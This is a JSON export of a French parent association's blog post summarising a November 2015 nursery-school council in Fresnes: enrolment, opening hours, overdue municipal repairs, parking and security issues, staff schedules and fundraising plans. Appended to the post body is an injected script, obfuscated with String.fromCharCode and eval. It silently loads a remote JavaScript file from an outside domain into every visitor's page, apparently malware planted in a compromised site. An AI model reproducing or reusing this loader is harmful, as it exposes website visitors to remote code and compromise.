{"id":6993,"date":"2015-11-29T17:30:44","date_gmt":"2015-11-29T16:30:44","guid":{"rendered":"http:\/\/education.acctif.eu\/?p=6993"},"modified":"2015-11-29T17:30:44","modified_gmt":"2015-11-29T16:30:44","slug":"conseil-decole-blancs-bouleaux-du-5-novembre-2015-le-compte-rendu","status":"publish","type":"post","link":"http:\/\/actifeducation.fr\/?p=6993","title":{"rendered":"Conseil d&rsquo;\u00e9cole Blancs Bouleaux du 5 novembre 2015 :  le compte-rendu"},"content":{"rendered":"<p><strong>Pour vous informer au mieux, les repr\u00e9sentants ACCTIF Education ont d\u00e9cid\u00e9 de diffuser\u00a0les compte-rendus des Conseils d&rsquo;\u00e9cole.\u00a0N\u2019h\u00e9sitez pas \u00e0 nous faire part de vos demandes, de vos questions ou de vos inqui\u00e9tudes, afin que nous puissions les aborder et trouver des r\u00e9ponses ou des solutions. Vous pouvez nous \u00e9crire \u00e0\u00a0<a href=\"mailto:education@acctif.eu\">education@acctif.eu<\/a>\u00a0ou tout simplement venir\u00a0\u00e0 notre rencontre devant l&rsquo;\u00e9cole.<\/strong><\/p>\n<p><strong>Pr\u00e9sents\u00a0:<\/strong><br \/>\nEnseignants\u00a0:\u00a0Directeur de l\u2019Ecole\u00a0+\u00a07 enseignants.<br \/>\nRepr\u00e9sentants de la Mairie\u00a0: conseiller municipal, responsable service enseignement<br \/>\nRepr\u00e9sentants des parents d\u2019\u00e9l\u00e8ves\u00a0:<br \/>\nFCPE\u00a0:\u00a02 \u00e9lus<br \/>\nAPI:\u00a03 \u00e9lus<br \/>\nACCTIF-Education\u00a0:\u00a05 \u00e9lus<\/p>\n<p>En pr\u00e9ambule, le directeur rappelle que le Conseil d\u2019\u00e9cole est un lieu d\u2019\u00e9change et de d\u00e9lib\u00e9rations\u00a0et non le lieu o\u00f9 nous r\u00e9glons tous les probl\u00e8mes de l\u2019\u00e9cole.<br \/>\nUn tour de table rapide est fait avec l\u2019arriv\u00e9e de 2 enseignants\u00a0:GS et Direction+PS. Pr\u00e9sence \u00e9galement de la\u00a0rempla\u00e7ante\u00a0en MS.<br \/>\nLe directeur \u00e9voque une \u00e9quipe stable, dynamique sur laquelle il peut s\u2019appuyer depuis son arriv\u00e9e.<\/p>\n<ul>\n<li><strong>Vote du r\u00e8glement int\u00e9rieur<\/strong><br \/>\nPour commencer, le r\u00e8glement int\u00e9rieur 2015-2016 est vot\u00e9 \u00e0 l\u2019unanimit\u00e9 et sera donc appliqu\u00e9 toute l\u2019ann\u00e9e scolaire.<\/li>\n<\/ul>\n<ul>\n<li><strong>Bilan de la rentr\u00e9e<\/strong><\/li>\n<\/ul>\n<p><strong>Point sur les effectifs\u00a02015\u00a0<\/strong>: Il y a 258 \u00e9l\u00e8ves pr\u00e9sents\/ inscrits actuellement sur l\u2019\u00e9cole. Les effectifs sont importants mais pas suffisants pour ouvrir une nouvelle classe. Nous restons sur la m\u00eame configuration que l\u2019ann\u00e9e pr\u00e9c\u00e9dente\u00a0: 3PS, 3MS et 3GS. Il n\u2019a pas \u00e9t\u00e9 n\u00e9cessaire d\u2019ouvrir des classes \u00e0 double niveau.<br \/>\nLe directeur reste tr\u00e8s vigilant concernant la carte scolaire de l\u2019ann\u00e9e prochaine.<\/p>\n<p><strong>Le directeur rappelle que les parents peuvent joindre l\u2019\u00e9cole toute la journ\u00e9e.<\/strong> Sur le temps scolaire, le num\u00e9ro est le 01.78.68.26.36. Sur le temps municipal (TAP, garderie, centre de loisirs) le num\u00e9ro est le 01.78.68.25.30 ou le 06.85.81.31.34.<br \/>\n<em>ACCTIF Education<\/em> demande \u00e0 la mairie de mettre \u00e0 jour sur le site les num\u00e9ros de t\u00e9l\u00e9phone car il y a des contradictions.<\/p>\n<p><strong>Le directeur rappelle les heures d\u2019ouverture de l\u2019\u00e9cole\u00a0:<\/strong><br \/>\nLe matin\u00a0: de 8h50 \u00e0 9h05\u00a0l\u2019\u00e9cole est ouverte. Les portes se ferment \u00e0 9h10.<br \/>\nLe midi\u00a0: les portes s\u2019ouvrent \u00e0 11h55. En d\u00e9but d\u2019apr\u00e8s-midi, les portes sont ouvertes de 13h20 \u00e0 13h30.<br \/>\nLe soir\u00a0: Ouverture des portes de 15h40 \u00e0 15h50.<br \/>\nLes horaires des TAP de 15h45 \u00e0 17h15. Il n\u2019est pas possible de venir chercher son enfant pendant ces horaires.<\/p>\n<p>Le directeur\u00a0insiste sur le respect de ces horaires pour une question de s\u00e9curit\u00e9 pour les enfants mais aussi pour une question de respect des r\u00e8gles de vie commune, du travail des enseignants qui ne peut commencer tant que le flux d\u2019enfants n\u2019a pas cess\u00e9. Le temps d\u2019apprentissage est forc\u00e9ment impact\u00e9.<br \/>\nEn cas de retard, il ne faut pas h\u00e9siter \u00e0 contacter l\u2019\u00e9cole pour pr\u00e9venir la gardienne. Notamment le mercredi o\u00f9 il y a une possibilit\u00e9 de garder votre enfant de 12h \u00e0 13h (sans lui proposer de repas)\u00a0; ce temps \u00e9tant factur\u00e9 par la mairie.<\/p>\n<ul>\n<li><span style=\"text-decoration:underline;\"><strong>Travaux<\/strong><\/span><\/li>\n<\/ul>\n<p>Le directeur et des repr\u00e9sentants des parents d\u2019\u00e9l\u00e8ves (1 \u00e9lue Acctif Education, 2 \u00e9lus FCPE) ont effectu\u00e9 en octobre dernier une visite de l\u2019\u00e9cole afin d\u2019actualiser la liste des travaux d\u2019entretien \u00e0 r\u00e9aliser. Leur compte-rendu a \u00e9t\u00e9 adress\u00e9 au Maire et un exemplaire est confi\u00e9 aux repr\u00e9sentants de la municipalit\u00e9.<br \/>\nLes parents d\u2019\u00e9l\u00e8ves pr\u00e9cisent qu\u2019il s\u2019agit pour la plupart de travaux relevant de l\u2019entretien normal d\u2019un b\u00e2timent municipal, \u00e0 ceci pr\u00e8s que la s\u00e9curit\u00e9 et le confort des enfants doivent \u00eatre assur\u00e9s et des conditions d\u2019hygi\u00e8ne ad\u00e9quates sont indispensables.<br \/>\nLe conseiller municipal\u00a0indique qu\u2019il n\u2019a, au cours de ce Conseil d\u2019Ecole aucune r\u00e9ponse \u00e0 apporter, m\u00eame \u00e0 propos des demandes de travaux demand\u00e9es \u00e0 la mairie depuis l\u2019ann\u00e9e derni\u00e8re voire m\u00eame auparavant.<\/p>\n<p>Il nous dit que les r\u00e9ponses pourront \u00eatre fournies le 12 novembre lors de la visite du Maire sur le site des Blancs Bouleaux.<br \/>\nIntervention de le directeur\u00a0\u00e0 propos des demandes d\u2019intervention qu\u2019il adresse \u00e0 la municipalit\u00e9: les d\u00e9lais pour tous les travaux sont pour lui trop importants, m\u00eame pour les plus simples. Il constate une tr\u00e8s grande complexit\u00e9 dans l\u2019organisation avec une multitude d\u2019intervenants\u00a0; quand il prend contact directement pour raccourcir les d\u00e9lais, il est renvoy\u00e9 d\u2019un service \u00e0 l\u2019autre sans r\u00e9sultat. Actuellement, alors que la demande a \u00e9t\u00e9 faite depuis la rentr\u00e9e, la structure de motricit\u00e9 n\u2019est toujours pas mont\u00e9e et reste donc inutilisable.<br \/>\nNous restons en attente \u00e9galement de l\u2019installation de la biblioth\u00e8que.<\/p>\n<p>La repr\u00e9sentante du service enseignement\u00a0pr\u00e9cise qu\u2019elle est l\u2019unique interlocutrice des demandes de travaux. Les services techniques r\u00e9partissent ensuite les t\u00e2ches entre les diff\u00e9rents intervenants, qui n\u2019informent pas toujours Mme Inaoui de l\u2019avancement. Le conseiller municipal indique qu\u2019il n\u2019y a pas de directeur des services techniques \u00e0 la mairie, ils sont ind\u00e9pendants et g\u00e8rent eux-m\u00eames les priorit\u00e9s. Il incite \u00e0 expliquer au Maire le 12 novembre prochain les difficult\u00e9s rencontr\u00e9es \u00e0 cause de ce probl\u00e8me d\u2019organisation.<\/p>\n<p>Le directeur\u00a0insiste sur le probl\u00e8me d\u2019infiltration dans le dortoir pour lequel il a demand\u00e9 avant les vacances de Toussaint une intervention rapide des services techniques. M Sma\u00efli n&rsquo;a re\u00e7u aucune r\u00e9ponse concr\u00e8te et aucun d\u00e9lai d\u2019intervention n\u2019a jusqu\u2019ici \u00e9t\u00e9 fourni \u00e0 ce jour par les repr\u00e9sentants de la mairie ou les services techniques.<br \/>\nLe directeur\u00a0signale \u00e9galement des probl\u00e8mes r\u00e9currents de plomberie et l\u2019absence totale d\u2019eau chaude dans l\u2019\u00e9cole.<\/p>\n<ul>\n<li><span style=\"text-decoration:underline;\"><strong>Reprographie &#8211; impressions<\/strong><\/span><\/li>\n<\/ul>\n<p>L\u2019imprimante couleur qui \u00e9tait dans le bureau du directeur a \u00e9t\u00e9 retir\u00e9e sur d\u00e9cision municipale. Un copieur noir et blanc est laiss\u00e9 dans chaque \u00e9cole. Les tirages couleur sont dor\u00e9navant r\u00e9alis\u00e9s par le service municipal de reprographie.<br \/>\nLes parents d\u2019\u00e9l\u00e8ves d\u00e9plorent ce manque de moyens, d\u00e9cid\u00e9 sans concertation.<br \/>\nLe directeur\u00a0indique que l\u2019imprimante \u00e9tait utilis\u00e9e pour les documents confidentiels qui n\u2019ont pas \u00e0 \u00eatre port\u00e9s \u00e0 la connaissance de tous. Elle permettait \u00e9galement de r\u00e9aliser plus rapidement des impressions couleur pour les enseignants de l\u2019\u00e9cole.<br \/>\nLe directeur\u00a0demande quelle proc\u00e9dure il doit appliquer pour demander des impressions couleur, le d\u00e9lai et le moyen de transmission des documents.<br \/>\nEn r\u00e9ponse, la repr\u00e9sentante du service enseignement\u00a0 indique comment se procurer la proc\u00e9dure. Elle pr\u00e9cise que le d\u00e9lai de r\u00e9alisation peut \u00eatre tr\u00e8s court, le contraire ayant \u00e9t\u00e9 constat\u00e9 par des enseignantes.<\/p>\n<ul>\n<li><span style=\"text-decoration:underline;\"><strong>Acc\u00e8s au groupe scolaire, Vigipirate, incivilit\u00e9<\/strong><\/span><\/li>\n<\/ul>\n<p>Les parents d\u2019\u00e9l\u00e8ves constatent de nombreux probl\u00e8mes d\u2019incivilit\u00e9 aux abords de l\u2019\u00e9cole:<br \/>\nVoitures gar\u00e9es sur le parking devant l\u2019\u00e9cole m\u00eame s\u2019il est condamn\u00e9 dans le cadre du plan Vigipirate. Certaines personnes vont m\u00eame jusqu\u2019\u00e0 d\u00e9placer les barri\u00e8res<br \/>\nVoitures gar\u00e9es ind\u00fbment sur les places handicap\u00e9es et refusant d\u2019en partir<br \/>\nNombreuses bouteilles vides et d\u00e9chets au sol<br \/>\nLes parents d\u2019\u00e9l\u00e8ves demandent la r\u00e9ponse apport\u00e9e par la Mairie au probl\u00e8me de stationnement.<br \/>\nR\u00e9ponse du\u00a0conseiller municipal :<br \/>\nla r\u00e9pression est possible, une r\u00e9union de travail interne sur la s\u00e9curit\u00e9 est pr\u00e9vue le 23 novembre avec le Maire.<br \/>\nIl recommande qu\u2019une information soit faite aupr\u00e8s des parents d\u2019\u00e9l\u00e8ves pour qu\u2019il y ait une prise de conscience.<br \/>\nLes parents d\u2019\u00e9l\u00e8ves et l\u2019\u00e9quipe enseignante demandent que les services municipaux proposent une solution pour faciliter le stationnement lors la d\u00e9pose des enfants.<br \/>\nL\u2019API demande s\u2019il est possible de retirer les plots qui g\u00eanent au stationnement dans l\u2019All\u00e9e de la Grenouill\u00e8re, de faire un ou plusieurs \u00ab\u00a0d\u00e9pose minute\u00a0\u00bb et de faire construire un garage \u00e0 v\u00e9los pour Blancs Bouleaux.<br \/>\nLes parents d\u2019\u00e9l\u00e8ves et l\u2019\u00e9quipe enseignante demandent que les services municipaux proposent une solution pour faciliter le stationnement lors la d\u00e9pose des enfants.<br \/>\nLes repr\u00e9sentants de la Mairie pr\u00e9cisent que c\u2019est \u00e0 l\u2019ordre du jour de la r\u00e9union du 23 novembre.<\/p>\n<ul>\n<li><span style=\"text-decoration:underline;\"><strong>Pr\u00e9sence aux Conseils d\u2019Ecole des ATSEM et du personnel extra-scolaire<\/strong><\/span><\/li>\n<\/ul>\n<p>Le directeur explique qu\u2019il a demand\u00e9 que des ATSEM et le directeur des activit\u00e9s p\u00e9riscolaires de l\u2019\u00e9cole puissent participer au Conseil d\u2019Ecole quand on aborde des sujets qui les concernent.<br \/>\nIl est surpris que cette possibilit\u00e9 n\u2019ait pas \u00e9t\u00e9 accord\u00e9e par la municipalit\u00e9 alors que sa requ\u00eate est recevable selon un d\u00e9cret de l\u2019Education Nationale, qu\u2019il cite.<br \/>\nR\u00e9ponse du\u00a0conseiller municipal : il n\u2019y consent que sur demande expresse et motiv\u00e9e du directeur aupr\u00e8s des ressources humaines. Il explique que les ATSEM et le personnel des TAP sont pay\u00e9s par la municipalit\u00e9 et n\u2019ont pas \u00e0 parler sur leur activit\u00e9 car elles sont li\u00e9es \u00e0 la Mairie de Fresnes via leur contrat de travail.<br \/>\nIl pense aussi que les ATSEM intervenant en Conseil d\u2019Ecole en face de leur employeur ne pourraient exprimer librement leurs points de vue. Il indique que les personnels municipaux ont d\u2019autres moyens mis \u00e0 leur disposition pour exprimer les difficult\u00e9s rencontr\u00e9es dans le cadre de leur travail. Selon\u00a0le conseiller municipal ce point de vue est partag\u00e9 \u00e9galement par les ATSEM.<\/p>\n<ul>\n<li><span style=\"text-decoration:underline;\"><strong>Temps d\u2019Activit\u00e9s P\u00e9riscolaires<\/strong><\/span><\/li>\n<\/ul>\n<p>Le conseiller municipal indique qu\u2019une r\u00e9union est organis\u00e9e le 26 novembre 2015 \u00e0 18h au gymnase de l\u2019\u00e9cole pour exposer les activit\u00e9s et les plannings des TAP. Elle est ouverte \u00e0 l\u2019ensemble des parents.<br \/>\nUne repr\u00e9sentante des parents d\u2019\u00e9l\u00e8ves s\u2019interroge sur l\u2019intervention des ATSEM pendant les TAP en demandant comment les s\u00e9ances sont pr\u00e9par\u00e9es notamment en lien avec les \u00e9quipes d\u2019animation. La repr\u00e9sentante du service enseignement\u00a0 pr\u00e9cise que les effectifs des ATSEM sont pleinement int\u00e9gr\u00e9s aux TAP. L\u2019ann\u00e9e derni\u00e8re, les ATSEM n\u2019assuraient que le go\u00fbter, par demi- groupe au go\u00fbter. Cette ann\u00e9e, l\u2019ATSEM intervient en bin\u00f4me avec un animateur au sein d\u2019un groupe classe et elles ont normalement uniquement un r\u00f4le d\u2019assistance. Dans certains cas elles ont \u00e9galement un r\u00f4le d\u2019animation, si elles le demandent. Elles re\u00e7oivent alors une formation ad\u00e9quate.<br \/>\nCette nouvelle organisation a permis de r\u00e9duire le temps d\u2019attente au r\u00e9fectoire apr\u00e8s avoir que les enfants aient pris leur go\u00fbter.<br \/>\nL\u2019API demande \u00e9galement un retour sur le nombre d\u2019interventions ext\u00e9rieures lors de la premi\u00e8re p\u00e9riode des TAP. Il est annonc\u00e9 que cette information sera donn\u00e9e le 26 novembre 2015 lors de la r\u00e9union avec l\u2019\u00e9quipe d\u2019animation.<br \/>\nQuestions sur l\u2019emploi du temps des ATSEM : elles disposent d\u20191\/2h de pause possible le midi. Celles qui s\u2019occupent de la cantine, c&rsquo;est-\u00e0-dire celles qui d\u00e9cident de ne pas prendre leur 30 minutes de pause) b\u00e9n\u00e9ficient de 9 jours de cong\u00e9s suppl\u00e9mentaires (en plus des 42 cong\u00e9s pay\u00e9s standard). En r\u00e9ponse \u00e0 l\u2019inqui\u00e9tude d\u2019une repr\u00e9sentante des parents d\u2019\u00e9l\u00e8ves sur le rythme de travail que cela induit ( journ\u00e9e continue sans aucune pause) et le manque d\u2019attention r\u00e9sultant,\u00a0le conseiller municipal dit que la mairie de Fresnes respecte tout \u00e0 fait le Code du Travail et que les ATSEM sont d\u2019accord avec ce syst\u00e8me. Le conseiller municipal s\u2019engage \u00e0 donner les \u00e9l\u00e9ments montrant la conformit\u00e9 de cette organisation du temps de travail avec le Code du Travail.<\/p>\n<ul>\n<li><span style=\"text-decoration:underline;\"><strong>Carte scolaire et fratries<\/strong> <\/span><\/li>\n<\/ul>\n<p><em>ACCTIF Education<\/em> demande \u00e0 la mairie concernant la carte scolaire et notamment le sujet des fratries. Le conseiller municipal r\u00e9pond que la rentr\u00e9e 2016 se fera sur les m\u00eames bases que la rentr\u00e9e 2015 en principe. C\u2019est donc l\u2019\u00e9tablissement de l\u2019ain\u00e9 pour les fratries qui sera pris en compte.<\/p>\n<ul>\n<li><span style=\"text-decoration:underline;\"><strong>Actions men\u00e9es<\/strong><\/span><\/li>\n<\/ul>\n<p>Le projet d\u2019\u00e9cole se d\u00e9roule sur plusieurs ann\u00e9es, il a \u00e9t\u00e9 pens\u00e9 autour de plusieurs actions.<br \/>\nD\u00e9velopper la coop\u00e9ration avec les parents\u00a0:<br \/>\nAccueillir les parents de petite section<br \/>\nRentr\u00e9e \u00e9chelonn\u00e9e (L\u2019\u00e9quipe a souhait\u00e9 renouveler l\u2019exp\u00e9rience)<br \/>\nProjet d\u2019\u00e9cole : Cette ann\u00e9e, le projet de l\u2019Education Nationale a pour th\u00e8me l\u2019air. Chaque section s\u2019approprie donc ce th\u00e8me autour du th\u00e8me central li\u00e9 \u00e0 la r\u00e9forme de l\u2019\u00e9cole maternelle mise en place cette ann\u00e9e\u00a0: le bien-\u00eatre des enfants \u00e0 l\u2019\u00e9cole.<br \/>\nCette r\u00e9forme a pour but d\u2019accueillir l\u2019enfant dans son int\u00e9gralit\u00e9, son environnement propre afin de lui donner une \u00e9ducation plus personnelle, plus adapt\u00e9e \u00e0 chaque enfant. Cette r\u00e9forme permet aussi de d\u00e9tecter les \u00e9l\u00e8ves en difficult\u00e9 et de les accompagner individuellement.<\/p>\n<p><strong>Les Petites Sections\u00a0:<\/strong> Pendant cette premi\u00e8re p\u00e9riode, l\u2019accent est port\u00e9 sur l\u2019accueil des enfants au sein de l\u2019\u00e9cole. Il est \u00e9galement pr\u00e9vu de travailler sur la d\u00e9couverte des aliments (nouveaut\u00e9, partage\u2026) en plus du th\u00e8me de l\u2019air.\u00a0Il est \u00e9galement pr\u00e9vu un travail avec la biblioth\u00e8que de Fresnes\u00a0: une intervenante va venir dans les classes de PS pour pr\u00eater des livres qui seront rendus au mois de juin lors d\u2019une visite \u00e0 la biblioth\u00e8que. Lorsque la biblioth\u00e8que de l\u2019\u00e9cole sera install\u00e9e, les parents seront mis \u00e0 contribution pour fabriquer un sac de biblioth\u00e8que personnalis\u00e9 qui suivra l\u2019enfant pendant ses 3 ann\u00e9es de maternelle.\u00a0Le plus important est de respecter de rythme de l\u2019enfant, lui donne un vrai statut d\u2019\u00e9l\u00e8ve.<\/p>\n<p><strong>Les Moyennes Sections\u00a0:<\/strong> Le projet de recyclage est toujours en place dans l\u2019\u00e9cole via Teracycle\u00a0; les gourdes de compotes (merci de bien les vider ET les fermer avant de les d\u00e9poser), les bouchons et \u00e9galement cette ann\u00e9e les feutres et stylos usag\u00e9s. Attention \u00e0 ne pas m\u00e9langer\u00a0!!! La coop\u00e9rative scolaire re\u00e7oit en l&rsquo;\u00e9change une petite somme d&rsquo;argent dont b\u00e9n\u00e9ficient ensuite les enfants. Il y a \u00e9galement un projet de jardins\u00a0: c\u00f4t\u00e9 fleur et c\u00f4t\u00e9 potager. Les MS r\u00e9alisent un ab\u00e9c\u00e9daire par classe en fonction des saisons, ces ab\u00e9c\u00e9daires circuleront dans les 3 classes. Ils assisteront \u00e0 3 spectacles \u00e0 la MJC de Fresnes.<\/p>\n<p><strong>Les Grandes Sections\u00a0:<\/strong> Les classes sont d\u00e9cloisonn\u00e9es 2 fois par semaine (mardi et vendredi) ce qui permet aux maitresses de faire des activit\u00e9s avec \u00ab\u00a0seulement\u00a0\u00bb 15 enfants. Les activit\u00e9s en d\u00e9cloisonnement sont les jeux de soci\u00e9t\u00e9, les math\u00e9matiques et les sciences. Les parents sont mis \u00e0 contribution, un tableau est affich\u00e9 devant chaque classe afin que les parents puissent s\u2019inscrire. Un rappel va \u00eatre fait car les maitresses ont d\u00fb annuler un mardi faute de parents. Les GS forment une chorale et chantent une fois par semaine, ils pensent pouvoir faire un spectacle musical en fin d\u2019ann\u00e9e. Une animation musicale est propos\u00e9e avec le conservatoire de musique de Fresnes autour du th\u00e8me de l\u2019air (instruments \u00e0 vent). Il est \u00e9galement pr\u00e9vu 3 visites \u00e0 la biblioth\u00e8que de Fresnes. Le directeur\u00a0pr\u00e9cise qu\u2019une r\u00e9flexion est engag\u00e9e avec l\u2019\u00e9cole \u00e9l\u00e9mentaire afin de mieux appr\u00e9hender la rentr\u00e9e des GS au CP. Cette r\u00e9flexion est men\u00e9e avec les directeurs des 2 \u00e9coles Pasteur et Roux.D\u00e9cloisonnement 3 fois \/ semaine\u00a0: Lecture de contes traditionnels, Relaxation, Ecoute musicale, Accueil pour les ateliers couture.<\/p>\n<ul>\n<li><span style=\"text-decoration:underline;\"><strong>Coop\u00e9rative Scolaire<\/strong><\/span><\/li>\n<\/ul>\n<p>En raison de l\u2019absence de la pr\u00e9c\u00e9dente directrice par int\u00e9rim, en charge de la Coop\u00e9rative scolaire l\u2019ann\u00e9e derni\u00e8re, le nouveau\u00a0directeur\u00a0ne peut nous fournir la comptabilit\u00e9. Cependant, la Coop\u00e9rative est b\u00e9n\u00e9ficiaire et il profite de cette occasion pour remercier les parents pour leur participation \u00e0 la Coop\u00e9rative. Le directeur rappelle l\u2019importance de la Coop\u00e9rative pour la vie \u00e0 l\u2019\u00e9cole. Ces fonds permettent de financer tout le mat\u00e9riel qui permet \u00e0 nos enfants l\u2019apprentissage par la manipulation.<br \/>\nLe budget permettra de pouvoir organiser un spectacle au sein de l\u2019\u00e9cole. Le directeur nous en dira plus lors du prochain Conseil d\u2019\u00e9cole.<\/p>\n<blockquote><p>ACCTIF Education propose 2 projets\u00a0:<\/p>\n<ol>\n<li>une\u00a0<a href=\"http:\/\/education.acctif.eu\/2015\/11\/27\/acctif-education-vous-propose-un-marche-de-noel-le-12-decembre-a-la-mjc-de-fresnes\/\">vente d\u2019objets pour No\u00ebl<\/a> (mercredi 16 d\u00e9cembre) Attention : au moment o\u00f9 est finalis\u00e9 ce Proc\u00e8s Verbal, le Plan Vigipirate ne permet plus la vente de No\u00ebl devant l\u2019\u00e9cole pr\u00e9vue initialement le mercredi 16 d\u00e9cembre. Celle-ci aura lieu<strong> <a href=\"http:\/\/education.acctif.eu\/2015\/11\/27\/acctif-education-vous-propose-un-marche-de-noel-le-12-decembre-a-la-mjc-de-fresnes\/\">le samedi 12 d\u00e9cembre 2015 \u00e0 la MJC de 10H00 \u00e0 12H00<\/a>\u00a0e<\/strong>n\u00a0partenariat\u00a0avec les associations<strong> <a href=\"https:\/\/www.facebook.com\/unenfantdanslaville\/?ref=ts&amp;fref=ts\" target=\"_blank\">Un Enfant dans la Ville<\/a> et <a href=\"http:\/\/www.lirecestpartir.fr\/\" target=\"_blank\">Lire c\u2019est Partir<\/a>.<\/strong>\u00a0Il est demand\u00e9 la participation des enseignants pour fabriquer avec les enfants des objets, ainsi qu\u2019au directeur des TAPs.<\/li>\n<li>une vente de livres \u00ab\u00a0Lire c\u2019est partir\u00a0\u00bb agr\u00e9ment\u00e9e de ventes de collation, en collaboration avec les autres associations de parents d\u2019\u00e9l\u00e8ves. La FCPE et l\u2019API s&rsquo;associant \u00e0 cette derni\u00e8re.<br \/>\nCes 2 actions seront au profit de la Coop\u00e9rative scolaire.<br \/>\nLes 3 associations ont \u00e9galement parl\u00e9 de la fabrication d\u2019objets comme les tabliers, les torchons ou autres. Rien n\u2019a encore \u00e9t\u00e9 d\u00e9cid\u00e9 \u00e0 ce jour.<br \/>\nLes autres projets\u00a0:<\/li>\n<\/ol>\n<\/blockquote>\n<p>Le directeur est favorable et insiste sur le lien entre l\u2019\u00e9cole et la famille. Ce lien se fait gr\u00e2ce \u00e0 la participation active des parents au sein de l\u2019\u00e9cole. Cette participation se fait\u00a0par :<br \/>\nla Coop\u00e9rative scolaire pour financer les projets\u00a0;<br \/>\n\u00ab\u00a0la semaine des parents\u00a0\u00bb (exp\u00e9rience r\u00e9ussie et pl\u00e9biscit\u00e9e cette ann\u00e9e\u00a0; les parents sont invit\u00e9s dans la classe de leur enfant pendant une \u00bd journ\u00e9e) qui va certainement \u00eatre reconduite cette ann\u00e9e\u00a0;<br \/>\nles ateliers d\u00e9cloisonn\u00e9s ;<br \/>\nles photocopies faites par certains\u00a0;<br \/>\nles collations\u00a0;<br \/>\nles sorties de classe\u2026<\/p>\n<p>Il y a beaucoup de fa\u00e7ons d\u2019intervenir dans la vie scolaire des enfants. Le lien entre la maison et l\u2019\u00e9cole permet une coh\u00e9rence dans le discours \u00e9ducatif pour l\u2019enfant et lui assure une s\u00e9curit\u00e9 dans sa vie scolaire.<\/p>\n<ul>\n<li><span style=\"text-decoration:underline;\"><strong>La f\u00eate de l\u2019\u00e9cole<\/strong><\/span><\/li>\n<\/ul>\n<p>Le directeur \u00e9voque une r\u00e9elle volont\u00e9 de faire cette ann\u00e9e une f\u00eate de l\u2019\u00e9cole si la s\u00e9curit\u00e9 des enfants est pr\u00e9serv\u00e9e. Les parents d\u2019\u00e9l\u00e8ves \u00e9voquent le fait d\u2019avoir une r\u00e9flexion en amont, un plan B, au cas o\u00f9 la situation de l\u2019ann\u00e9e derni\u00e8re se reproduit et que la f\u00eate de l\u2019\u00e9cole ne puisse avoir lieu.<script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,51,46,48,46,51,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Pour vous informer au mieux, les repr\u00e9sentants ACCTIF Education ont d\u00e9cid\u00e9 de diffuser\u00a0les compte-rendus des Conseils d&rsquo;\u00e9cole.\u00a0N\u2019h\u00e9sitez pas \u00e0 nous faire part de vos demandes, de vos questions ou de vos inqui\u00e9tudes, afin que nous puissions les aborder et trouver des r\u00e9ponses ou des solutions. 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